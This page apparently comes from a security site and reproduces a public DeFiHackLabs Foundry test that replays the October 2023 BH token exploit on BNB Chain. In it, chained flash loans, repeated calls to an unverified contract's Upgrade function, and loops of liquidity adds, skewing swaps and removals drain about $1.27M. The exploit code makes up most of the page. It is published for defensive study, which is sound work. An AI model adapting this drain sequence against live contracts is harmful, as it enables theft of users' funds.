Public reproduction file
src/test/2023-10/BH_exp.sol
Public reproduction file for dataset entry BH.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$1.27M8// Attacker : https://bscscan.com/address/0xfdbfceea1de360364084a6f37c9cdb7aaea634649// Attack Contract : https://bscscan.com/address/0x216ccfd4fb3f2267677598f96ef1ff151576480c10// Vulnerable Contract : https://bscscan.com/address/0xcc61cc9f2632314c9d452aca79104ddf680952b511// Attack Tx : https://bscscan.com/tx/0xc11e4020c0830bcf84bfa197696d7bfad9ff503166337cb92ea3fade0400766213// @Analysis14// https://twitter.com/BeosinAlert/status/171213976081337597315// https://twitter.com/DecurityHQ/status/171211888142520335017interface IUnverifiedContract1 {18 function Upgrade(19 address _lpToken20 ) external;21}23contract ContractTest is Test {24 IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);25 IERC20 private constant BH = IERC20(0xCC61CC9F2632314c9d452acA79104DDf680952b5);26 IDPPOracle private constant DPPOracle1 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);27 IDPPOracle private constant DPPOracle2 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);28 IDPPOracle private constant DPPOracle3 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);29 IDPPOracle private constant DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);30 IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);31 Uni_Pair_V2 private constant WBNB_BUSDT = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);32 Uni_Pair_V3 private constant BUSDT_USDC = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);33 IUnverifiedContract1 private constant UnverifiedContract1 =34 IUnverifiedContract1(0x8cA7835aa30b025b38A59309DD1479d2F452623a);35 Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);36 address private constant lpToken = 0xdbC27f2e9a2532b15C848F4Ae408cfE8BeB14959;37 address private constant unverifiedContractAddr2 = 0x5b9dd1De70320B1EA6C8BBebA12bf4e246227999;38 address private constant busdt_bh_lp = 0x2371E4Ad771020CE3D8252f1db3e5559FbA8eeb5;40 function setUp() public {41 vm.createSelectFork("bsc", 32_512_073);42 vm.label(address(BUSDT), "BUSDT");43 vm.label(address(BH), "BH");44 vm.label(address(DPPOracle1), "DPPOracle1");45 vm.label(address(DPPOracle2), "DPPOracle2");46 vm.label(address(DPPOracle3), "DPPOracle3");47 vm.label(address(DPPAdvanced), "DPPAdvanced");48 vm.label(address(DPP), "DPP");49 vm.label(address(WBNB_BUSDT), "WBNB_BUSDT");50 vm.label(address(BUSDT_USDC), "BUSDT_USDC");51 vm.label(address(UnverifiedContract1), "UnverifiedContract1");52 vm.label(address(Router), "Router");53 vm.label(lpToken, "lpToken");54 vm.label(unverifiedContractAddr2, "unverifiedContractAddr2");55 vm.label(busdt_bh_lp, "busdt_bh_lp");56 }58 function testExploit() public {59 deal(address(BUSDT), address(this), 0);61 emit log_named_decimal_uint(62 "Attacker BUSDT balance before attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()63 );65 emit log_named_decimal_uint("Attacker BH balance before attack", BH.balanceOf(address(this)), BH.decimals());67 DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), abi.encode(0));69 emit log_named_decimal_uint(70 "Attacker BUSDT balance after attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()71 );73 emit log_named_decimal_uint("Attacker BH balance after attack", BH.balanceOf(address(this)), BH.decimals());74 }76 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {77 if (abi.decode(data, (uint256)) == uint256(0)) {78 DPPOracle2.flashLoan(0, BUSDT.balanceOf(address(DPPOracle2)), address(this), abi.encode(1));79 } else if (abi.decode(data, (uint256)) == uint256(1)) {80 DPPOracle3.flashLoan(0, BUSDT.balanceOf(address(DPPOracle3)), address(this), abi.encode(2));81 } else if (abi.decode(data, (uint256)) == uint256(2)) {82 DPP.flashLoan(0, BUSDT.balanceOf(address(DPP)), address(this), abi.encode(3));83 } else if (abi.decode(data, (uint256)) == uint256(3)) {84 DPPAdvanced.flashLoan(0, BUSDT.balanceOf(address(DPPAdvanced)), address(this), abi.encode(4));85 } else {86 WBNB_BUSDT.swap(10_000_000 * 1e18, 0, address(this), abi.encode(0));87 }88 BUSDT.transfer(msg.sender, quoteAmount);89 }91 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {92 BUSDT_USDC.flash(address(this), 15_000_000 * 1e18, 0, abi.encode(0));93 BUSDT.transfer(address(WBNB_BUSDT), amount0 + 60_000 * 1e18);94 }96 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {97 BUSDT.approve(address(UnverifiedContract1), type(uint256).max);98 BUSDT.approve(address(Router), type(uint256).max);99 BH.approve(address(UnverifiedContract1), type(uint256).max);101 uint8 i;102 while (i < 12) {103 UnverifiedContract1.Upgrade(lpToken);104 ++i;105 }107 // Adding liquidity.108 (bool success,) =109 address(UnverifiedContract1).call(abi.encodeWithSelector(bytes4(0x33688938), 3_000_000 * 1e18));111 require(success, "Call to function with selector 0x33688938 fail");113 // Swap tokens. Change the liquidity removal ratio in favor of Attacker114 BUSDTToBH();116 // Remove liquidity117 i = 0;118 while (i < 10) {119 uint256 lpAmount = (BH.balanceOf(busdt_bh_lp) * 55) / 100;121 (success,) = address(UnverifiedContract1).call(abi.encodeWithSelector(bytes4(0x4e290832), lpAmount));123 require(success, "Call to function with selector 0x4e290832 fail");124 ++i;125 }127 BUSDT.transfer(address(BUSDT_USDC), 15_000_000 * 1e18 + fee0);128 }130 function BUSDTToBH() internal {131 address[] memory path = new address[](2);132 path[0] = address(BUSDT);133 path[1] = address(BH);134 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(135 22_000_000 * 1e18, 0, path, unverifiedContractAddr2, block.timestamp + 100136 );137 }138}Analysis
Dataset entry
Public Foundry test for “BH” (2023-10-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-10/Astrid_exp.solSame month in the dataset · 156 lines
- src/test/2023-10/BelugaDex_exp.solSame month in the dataset · 171 lines
- src/test/2023-10/DePayRouter_exp.solSame month in the dataset · 132 lines
- src/test/2023-10/Hopelend_exp.solSame month in the dataset · 240 lines
- src/test/2023-10/kTAF_exp.solSame month in the dataset · 146 lines
- src/test/2023-10/LaEeb_exp.solSame month in the dataset · 50 lines
- src/test/2023-10/MaestroRouter2_exp.solSame month in the dataset · 85 lines
- src/test/2023-10/MicDao_exp.solSame month in the dataset · 109 lines
- src/test/2023-10/OpenLeverage_exp.solSame month in the dataset · 130 lines
- src/test/2023-10/Platypus03_exp.solSame month in the dataset · 112 lines
- src/test/2023-10/pSeudoEth_exp.solSame month in the dataset · 79 lines
- src/test/2023-10/StarsArena_exp.solSame month in the dataset · 50 lines
- src/test/2023-10/UniBot_exp.solSame month in the dataset · 80 lines
- src/test/2023-10/WiseLending_exp.solSame month in the dataset · 185 lines
- src/test/2023-10/ZS_exp.solSame month in the dataset · 141 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xfdbfceea1de360364084a6f37c9cdb7aaea63464
- Attack Contract
0x216ccfd4fb3f2267677598f96ef1ff151576480c
- Vulnerable Contract
0xcc61cc9f2632314c9d452aca79104ddf680952b5
- Attack Tx
0xc11e4020c0830bcf84bfa197696d7bfad9ff503166337cb92ea3fade04007662
- Explorer: https://bscscan.com/address/0xfdbfceea1de360364084a6f37c9cdb7aaea63464
- Explorer: https://bscscan.com/address/0x216ccfd4fb3f2267677598f96ef1ff151576480c
- Explorer: https://bscscan.com/address/0xcc61cc9f2632314c9d452aca79104ddf680952b5
- Reference: https://twitter.com/BeosinAlert/status/1712139760813375973
- Reference: https://twitter.com/DecurityHQ/status/1712118881425203350
File record
- Name
- BH
- Path
- src/test/2023-10/BH_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 372f974e9c19940828cdac3025316d19981c71e7
- Language
- Solidity
- Size
- 139 lines
- Date
- 2023-10-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-10/BH_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 372f974e9c19940828cdac3025316d19981c71e7, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.